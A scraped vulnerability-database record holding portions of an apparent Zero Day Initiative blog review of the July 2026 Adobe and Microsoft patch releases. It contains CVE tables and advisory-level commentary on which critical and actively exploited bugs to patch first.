Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:04:13.672457Z"}, {"uuid": "85868f44-cd0c-4506-85b9-318d5fd93d6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54125", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  